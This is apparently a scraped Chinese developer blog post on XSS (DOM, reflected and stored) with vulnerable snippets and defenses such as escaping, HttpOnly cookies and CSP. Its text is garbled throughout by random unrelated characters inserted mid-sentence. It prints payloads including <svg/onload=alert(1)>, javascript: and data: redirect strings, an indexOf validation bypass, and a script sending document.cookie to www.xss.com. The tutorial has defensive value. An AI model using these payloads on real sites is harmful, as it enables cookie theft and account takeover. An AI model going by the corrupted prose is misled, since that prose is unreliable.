持續(xù)更新...
前言
在萬物互聯(lián)的時(shí)代赚爵,數(shù)據(jù)安全與個(gè)人隱私受到前所未有的挑戰(zhàn)缤苫,各種攻防策略層出不窮煞赢,深入了解攻防底層的原理刻不容緩隔崎。本文旨在將日常開發(fā)上遇見的問題作總結(jié)域蜗,通過不斷補(bǔ)全安全攻防方面的知識(shí)爷抓,形成對(duì)安全攻防體系有良好的運(yùn)用卡者。
XSS (Cross-Site Scripting)
XSS 指跨站腳本攻擊盆赤,因?yàn)榭s寫和 CSS 重疊贾富,所以被叫 XSS。
-
原理:
- 攻擊者通過向 web 頁面插入惡意可執(zhí)行代碼(HTML 標(biāo)簽或 JavaScript 腳本)牺六,當(dāng)用戶瀏覽該頁面時(shí)颤枪,嵌入該頁面的惡意代碼就會(huì)執(zhí)行,從而達(dá)到盜用用戶信息或在頁面顯示惡意騙取用戶信息的操作的目的淑际。
XSS 分類
XSS 根據(jù)惡意腳本的傳遞方式可以分為 3 類:
- 反射型(非持久型)
- 存儲(chǔ)型(持久型)
- DOM 型
前面兩種惡意腳本都會(huì)經(jīng)過服務(wù)器端然后返回給客戶端畏纲,相對(duì) DOM 型來說比較好檢測與防御,而 DOM 型不用將惡意腳本傳輸?shù)椒?wù)器再返回客戶端庸追,只需要直接在客戶端執(zhí)行惡意代碼來達(dá)到目的霍骄。
DOM-XSS
在了解 DOM-XSS 前先了解什么是 DOM,因?yàn)?DOM-XSS 是基于 DOM 來操縱攻擊的淡溯。
DOM 指 文檔對(duì)象模型 (Document Object Model)是 HTML 和 XML 文檔的編程接口读整。DOM 實(shí)際是 將文檔解析為一個(gè)由節(jié)點(diǎn)(node)和對(duì)象(包含屬性和方法的對(duì)象)組成的結(jié)構(gòu)集合,即節(jié)點(diǎn)樹(NodeTree)咱娶。
對(duì)于瀏覽器來說米间,DOM 文檔就是一份 XML 文檔强品,當(dāng) W3C 規(guī)范 DOM 標(biāo)準(zhǔn)后,通過 JavaScript 就可以輕松的使用 DOM API 訪問 element 了屈糊。
原理
通過 URL 向客戶端注入惡意代碼的榛。主要是誘導(dǎo)用戶訪問自己構(gòu)造的 URL 來實(shí)現(xiàn),2020年測試DOM-XSS時(shí)逻锐,發(fā)現(xiàn)最新版本現(xiàn)代瀏覽器基本對(duì)齊免疫
夫晌。
DOM-XSS 的優(yōu)勢(shì)
- 避開 waf(網(wǎng)站應(yīng)用級(jí)入侵防御系統(tǒng)):攻擊者直接通過 location.hash 設(shè)置 URL 錨(#)的內(nèi)容,既能讓 JS 讀取到該參數(shù)昧诱,又能避免對(duì)#后的參數(shù)傳入到服務(wù)器晓淀,從而避免 waf 檢測。同樣 location.search 也可以在?之后設(shè)置參數(shù)來實(shí)現(xiàn)#的效果盏档。
- 長度不限:攻擊代碼長度不限
- 隱蔽性強(qiáng):攻擊代碼可以具有隱蔽性凶掰,持久性。例如使用 Cookie 和 localStorage 作為攻擊點(diǎn)的 DOM-XSS蜈亩,非常難以察覺懦窘,且持續(xù)的時(shí)間長。
常見場景
innerHTML|outerHTML
對(duì)需要插入 DOM element 的場景稚配,當(dāng)入手源代碼可執(zhí)行惡意代碼時(shí)畅涂,如在輸入框輸入<svg/onload=alert(1)>
。
跟innerHTML|outerHTML
類型的還有 document.write() 药有、 document.URL.indexOf("id=")
毅戈。 indexOf 獲取 url 里面的參數(shù),然后通過 writeln( )或者 write( )輸出到 HTML愤惰,造成 xss苇经。
原理:通過向
innerHTML|outerHTML
插入帶入惡意代碼情景案例:獲取 input 元素內(nèi)容插入 DOM
<div id="box"></div>
<input type="text" id="inp" />
<input id="btn" type="button" value="發(fā)送消息" name="" />
<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
<script>
var box = document.querySelector('#box'),
inp = document.querySelector('#inp'),
btn = document.querySelector('#btn');
btn.addEventListener('click', function () {
var msg = Date.now() + ':' + inp.value + '<br>';
box.innerHTML = box.innerHTML + msg;
});
// document.write();
var hash = location.search.slice(1);
document.write(hash);
</script>
當(dāng)輸入正常文本時(shí),DOM 會(huì)正常顯示宦言,如:輸入Hello world
, box 顯示 Hello world
扇单。
當(dāng)輸入惡意代碼時(shí),可能會(huì)造成用戶數(shù)據(jù)被盜或程序奔潰奠旺,如:
輸入:<svg/onload=alert(1)>
瀏覽器會(huì)顯示一個(gè)alert(1)彈窗
輸入:<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
那么會(huì)出現(xiàn)一個(gè)恐怖的結(jié)果蜘澜,如果圖片加載失敗瀏覽器會(huì)被死循環(huán)弄崩潰,如果圖片加載成功者用戶cookie會(huì)被惡意盜取
幸好隨著科技的進(jìn)步响疚,現(xiàn)代瀏覽器已經(jīng)對(duì) alert 這種操作免疫了鄙信,但 ie 仍然淪陷,并且對(duì)類似上述圖片的操作瀏覽器還不能起到的自我保護(hù)忿晕,所以開發(fā)者要打起十二分精神呀装诡。
- 防御:
- 對(duì)于輸入的內(nèi)容最穩(wěn)妥的辦法是做字符轉(zhuǎn)義,最基本也要進(jìn)行 encodeURIComponent|decodeURIComponent 處理。
- 對(duì)于使用
innerHTML|outerHTML
鸦采,最簡單的是使用innerText|outerText
代替
// 分享一份常用JavaScript字符轉(zhuǎn)義
/**
* 用于文本輸入欄宾巍,將符號(hào)替換成轉(zhuǎn)義字符
* @param {String} str
*/
export const escapeHTML = (str) =>
str.replace(
/[&<>'"]/g,
(tag) =>
({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"',
}[tag] || tag)
);
/**
* 用于文本輸入欄,將符號(hào)替換成轉(zhuǎn)義字符
* @param {String} str
*/
export const unescapeHTML = (str) =>
str.replace(
/&|<|>|'|"/g,
(tag) =>
({
'&': '&',
'<': '<',
'>': '>',
''': "'",
'"': '"',
}[tag] || tag)
);
數(shù)據(jù)存儲(chǔ)
從localStorage
渔伯、SessioinStorage
顶霞、cookies
儲(chǔ)存源中取數(shù)據(jù),開發(fā)者往往認(rèn)為從上述數(shù)據(jù)庫獲得的值是安全的锣吼,因此忽略對(duì)值進(jìn)行處理选浑。
原理:攻擊者利用開發(fā)者忘記對(duì)
localStorage
、SessioinStorage
吐限、cookies
在設(shè)值時(shí)對(duì)數(shù)據(jù)進(jìn)行處理的漏洞鲜侥,在其設(shè)置是注入惡意代碼,到賬在下次獲取值并賦值時(shí)產(chǎn)生安全隱患诸典。情景案例:數(shù)據(jù)注入
<div id="storage">storage:</div>
<input type="text" id="inp" />
<input id="btnStorage" type="button" value="storage" name="" />
<script>
var storage = document.querySelector('#storage'),
inp = document.querySelector('#inp'),
btnStorage = document.querySelector('#btnStorage');
btnStorage.addEventListener('click', function () {
var msg = inp.value + '<br>';
localStorage.setItem('name', msg);
box.innerHTML = localStorage.name;
});
</script>
可見只要攻擊者在網(wǎng)頁的localStorage
、SessioinStorage
崎苗、cookies
等上的字段設(shè)置了惡意代碼狐粱,在下一次訪問值時(shí)即可收到攻擊,因此建議在設(shè)置值或獲取值時(shí)要對(duì)內(nèi)容做字符轉(zhuǎn)義處理
胆数。此外還有 document.referrer肌蜻,window.name,postMessage 都值得關(guān)注必尼,也容易造成 Dom xss蒋搜,觸發(fā)點(diǎn)不同,document.referrer 可能需要從上一頁 / 上面的 url判莉,才能觸發(fā)豆挽。
- 防御:
- 對(duì)類似
localStorage
、SessioinStorage
券盅、cookies
的值的設(shè)置和獲取要做字符轉(zhuǎn)義處理
帮哈。
- 對(duì)類似
反射型(非持久型) xss
非持久型 XSS 漏洞,一般是通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的 URL锰镀,當(dāng) URL 地址被打開且參數(shù)被賦值執(zhí)行時(shí)娘侍,惡意代碼就會(huì)被 HTML 解析、執(zhí)行泳炉。
原理
帶有惡意代碼參數(shù)的 URL 被用戶點(diǎn)擊后憾筏,用戶數(shù)據(jù)被惡意代碼盜取。
特征
- 即時(shí)性花鹅,不經(jīng)過服務(wù)器存儲(chǔ)氧腰,直接通過 HTTP 的 GET 和 POST 請(qǐng)求就能完成一次攻擊,拿到用戶隱私數(shù)據(jù)。
- 攻擊者需要誘騙點(diǎn)擊,必須要通過用戶點(diǎn)擊鏈接才能發(fā)起
- 反饋率低容贝,所以較難發(fā)現(xiàn)和及時(shí)響應(yīng)修復(fù)
防御
- 盡可能避免從 URL自脯,document.referrer,document.forms 等這種 DOM API 中獲取數(shù)據(jù)直接渲染斤富。
- 盡可能避免使用 eval(), new Function()膏潮,document.write(),document.writeln()满力,window.setInterval()焕参,window.setTimeout(),innerHTML油额,document.createElement() 等可執(zhí)行字符串的方法叠纷。
- 對(duì) Web 頁面渲染的內(nèi)容,須要對(duì)其進(jìn)行字符編碼轉(zhuǎn)義處理潦嘶。
常見場景
頁面跳轉(zhuǎn)
- JavaScript 實(shí)現(xiàn)跳轉(zhuǎn)方式:
- location.replace()
- location.href=xxx
- location.assign()
當(dāng)看到頁面跳轉(zhuǎn)可引起 DOM-XSS 時(shí)涩嚣,是否會(huì)有一種摸不到腦袋呢。正常情況使用 hash 去實(shí)現(xiàn)頁面跳轉(zhuǎn)時(shí)掂僵,由于 hash 后部分參數(shù)可控航厚,當(dāng)攻擊者在 url 上使用 偽協(xié)議
時(shí),由于 hash 參數(shù)不會(huì)傳入到服務(wù)器锰蓬,從而避免了 WAF 的檢測幔睬,而這時(shí)帶有偽協(xié)議
的惡意腳步在瀏覽器被 執(zhí)行,從而達(dá)到攻擊目的芹扭。
常見 偽協(xié)議
有javascript:
麻顶、vbscript:
、data:
舱卡。且現(xiàn)在的移動(dòng)端(android 和 ios)可以自定義這種協(xié)議 sechme 從瀏覽器打開本地 app辅肾。
原理:主要通過 hash 后設(shè)置
偽協(xié)議
編寫惡意代碼,當(dāng)用戶使需要使用 hash 參數(shù)調(diào)用 location 方法跳轉(zhuǎn)操作時(shí)觸發(fā)灼狰。情景案例:通過 location 跳轉(zhuǎn)來自 hash 的參數(shù)
var hash = location.hash;
if (hash) {
var url = hash.substring(1);
location.href = url;
}
// url的hash上設(shè)置 #javascript:alert(1) 時(shí)會(huì)有alert(1)彈窗
// IE下使用#vbscript:msgbox(IE)
// data: 格式為: #data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
// #javascript:(location.href=http://www.baidu.com); 則瀏覽器跳轉(zhuǎn)到百度
對(duì)于需要使用 URL 參數(shù)或輸入框(input/textarea)內(nèi)容來實(shí)現(xiàn)跳轉(zhuǎn)的情況宛瞄,須對(duì)內(nèi)容進(jìn)行正則匹配判斷是否合法 http(s)。同時(shí)切記使用 indexOf 判斷是否合法 http(s)交胚,因?yàn)橹恍枭约痈脑?code>javascript:alert(1)//http://cos.top15.cn即可繞過 indexOf 判斷的合法性份汗。
- 防御
- 使用正則匹配需要 location 跳轉(zhuǎn)的內(nèi)容,判斷內(nèi)容是否合法 http(s)
- 注意正則元字符
^
必須的蝴簇,少了跟 indexOf 匹配無異
- 注意正則元字符
- 使用正則匹配需要 location 跳轉(zhuǎn)的內(nèi)容,判斷內(nèi)容是否合法 http(s)
/**
* 驗(yàn)證合法https(或ip)
* @param { string } value
*/
export const isHttp = (value) => /^((ht|f)tps?:\/\/)/.test(value);
/*
* 錯(cuò)誤示例:
* url構(gòu)造javascript:alert(1)//http://www.baidu.con即可繞過判斷
*/
var t = location.search.slice(1); // 變量t取url中?之后的部分
if (t.indexOf('url=') > -1 && t.indexOf('http') > -1) {
// 限定傳入url中要帶有indexOf的關(guān)鍵詞
var pos = t.indexOf('url=') + 4; // 往后截取
url = t.slice(pos, t.length);
location.href = url; // 跳轉(zhuǎn)
}
eval()
使用 eval()聲明變量或函數(shù)杯活,且來源是用戶可控參數(shù)。
原理:攻擊者利用
eval() 函數(shù)會(huì)將傳入的字符串當(dāng)做 JavaScript 代碼進(jìn)行執(zhí)行
的特性熬词,使用 eval 注入惡意腳步旁钧。情景案例:eval()注入
eval("var x = '" + location.search + "'");
console.log('eval() get: ', JSON.stringify(x));
- 防御:
- 避免使用 eval()
存儲(chǔ)型(持久型) XSS
存儲(chǔ)型 XSS 是最危險(xiǎn)的一種跨站腳本吸重,因?yàn)樗恍枰脩羰謩?dòng)觸發(fā),相比反射型 XSS 和 DOM 型 XSS 具有更高的隱蔽性歪今,所以危害更大嚎幸。
允許用戶存儲(chǔ)數(shù)據(jù)的 web 程序都可能存在存儲(chǔ)型 XSS 漏洞,當(dāng)攻擊者提交一段 XSS 惡意代碼后寄猩,客戶端沒有轉(zhuǎn)義處理嫉晶,且被服務(wù)器端接收并存儲(chǔ)到數(shù)據(jù)庫后,當(dāng)有用戶訪問需要加載含有惡意代碼數(shù)據(jù)的頁面時(shí)田篇,用戶就會(huì)被 XSS 攻擊替废。若攻擊對(duì)象時(shí)后臺(tái)服務(wù)器或數(shù)據(jù)庫時(shí),網(wǎng)站服務(wù)則會(huì)出現(xiàn)宕機(jī)或用戶數(shù)據(jù)泄露的風(fēng)險(xiǎn)泊柬。
原理
攻擊者發(fā)現(xiàn)存儲(chǔ)型 XSS 后向數(shù)據(jù)庫發(fā)送惡意代碼并保存椎镣,下次用戶瀏覽對(duì)應(yīng)頁面即可產(chǎn)生 XSS 攻擊,并獲取用戶數(shù)據(jù)兽赁。
攻擊成立條件:
- 通過 HTTP 請(qǐng)求提交表單數(shù)據(jù)沒做字符轉(zhuǎn)義直接入庫状答。
- 從數(shù)據(jù)庫中取出的數(shù)據(jù)沒做字符轉(zhuǎn)義直接輸出給前端。
- 前端拿到數(shù)據(jù)沒做字符轉(zhuǎn)義直接渲染成 DOM刀崖。
特征
- 持久性剪况,惡意代碼植入在數(shù)據(jù)庫中。
- 范圍廣蒲跨,面向所有用戶,訪問指定頁面即可盜取用戶敏感私密信息授翻。
- 交互性強(qiáng)或悲,面向提交表單類功能,且前后端在存取值時(shí)沒對(duì)數(shù)據(jù)做字符轉(zhuǎn)義堪唐。
防御
設(shè)置 HttpOnly
服務(wù)器在請(qǐng)求時(shí)在 cookie 中設(shè)置 HttpOnly 屬性巡语,設(shè)置 HttpOnly 后 js 腳本將無法讀取到 cookie 信息,是預(yù)防 XSS 攻擊竊取用戶 cookie 最有效的防御手段淮菠。
// koa
ctx.cookies.set(name, value, {
httpOnly: true, // 默認(rèn)為 true
});
過濾數(shù)據(jù)源
這不僅是前端負(fù)責(zé)男公,后端也要做相同的過濾檢查。
對(duì)于輸入格式的檢查合陵,例如:郵箱枢赔,電話號(hào)碼,用戶名拥知,密碼……等踏拜,按照規(guī)定的格式輸入。
-
轉(zhuǎn)義字符
-
HtmlEncode:某些情況下低剔,不能對(duì)用戶數(shù)據(jù)進(jìn)行嚴(yán)格過濾速梗,需要對(duì)標(biāo)簽進(jìn)行轉(zhuǎn)換肮塞。
-
less-than character(<)
轉(zhuǎn)化為<
-
greater-than character(>)
轉(zhuǎn)化為>
-
ampersand character(&)
轉(zhuǎn)化為&
-
double-quote character(")
轉(zhuǎn)化為"
-
space character( )
轉(zhuǎn)化為
-
Any ASCll code character whose code greater-than or equal to 0x80
轉(zhuǎn)化為&#<number>,when <number> is the ASCll character value
<!-- 如用戶輸入 --> <script> window.location.; </script> <!-- 轉(zhuǎn)義后保存結(jié)果 --> <!-- 在展現(xiàn)時(shí),瀏覽器會(huì)對(duì)這些字符轉(zhuǎn)換成文本內(nèi)容姻锁,而不是一段可以執(zhí)行的代碼枕赵。 --> <script>window.location.href="http://www.baidu.com"</script>
-
-
JavaScriptEncode:對(duì)特殊含義字符加上反斜杠轉(zhuǎn)義,如:
-
"
轉(zhuǎn)義為\"
-
'
轉(zhuǎn)義為\'
-
\
轉(zhuǎn)義為\\'
-
\n
轉(zhuǎn)義為\\n'
-
\r
轉(zhuǎn)義為\\r'
-
-
CSP
CSP(Content-Security-Policy) 本質(zhì)上是建立瀏覽器允許動(dòng)作白名單位隶。開發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行拷窜。我們只需要配置規(guī)則,如何攔截是由瀏覽器自己實(shí)現(xiàn)的钓试。我們可以通過這種方式來盡量減少 XSS 攻擊装黑,但是像使用 vuejs 構(gòu)建網(wǎng)站時(shí)需要使用 vuejs 的 CSP 版本,因?yàn)?CSP 是天然禁用 eval()弓熏,with(){}的使用恋谭。
通常可以通過兩種方式來開啟 CSP:
- HTTP 的 Header 設(shè)置 Content-Security-Policy
- HTML 的 head 設(shè)置 meta 標(biāo)簽
對(duì)于 HTTP Header挽鞠,需要正確配置頁面需要的內(nèi)容疚颊,如下:
只允許加載本站資源
Content-Security-Policy: default-src 'self'
只允許加載 HTTPS 協(xié)議圖片
Content-Security-Policy: img-src https://\*
允許加載任何來源框架
Content-Security-Policy: child-src 'none'
常見情“
留言板
向留言板輸入惡意代碼提交大服務(wù)器的數(shù)據(jù)庫,刷新留言板即可執(zhí)行惡意代碼信认。
<!-- 惡意代碼 -->
<script>
var img = document.createElement('img');
img.src = 'http://www.xss.com?cookie=' + document.cookie;
img.style.display = 'none';
document.getElementsByTagName('body')[0].appendChild(img);
</script>
用戶的登錄憑證存儲(chǔ)于服務(wù)器的 session 中材义,同時(shí)瀏覽器的 cookie 中也有存儲(chǔ)備份。如果攻擊者能獲取到用戶登錄憑證的 Cookie嫁赏,即可繞開登錄流程來訪問用戶的賬號(hào)了其掂。
CSRF
CSRF(Cross-Site Request Forgeries)即跨站點(diǎn)請(qǐng)求偽造,也被稱為 one-click attack 或者 session riding潦蝇。它利用用戶已登錄的身份款熬,在用戶不知情的情況下,完成一些違背用戶意愿的事情攘乒,如:修改用戶信息贤牛,刪初評(píng)論等。
待更新
如有紕漏請(qǐng)大佬指正如果喜歡本文請(qǐng)點(diǎn)贊支持(^_?)☆
參考文檔
- MDN-HTTP cookies
- MDN-Document Object Model
- MDN-eval()
- MDN-Content-Security-Policy
- 安全攻防之 XSS
- 淺談 Dom Xss
- DOM-XSS 攻擊原理與防御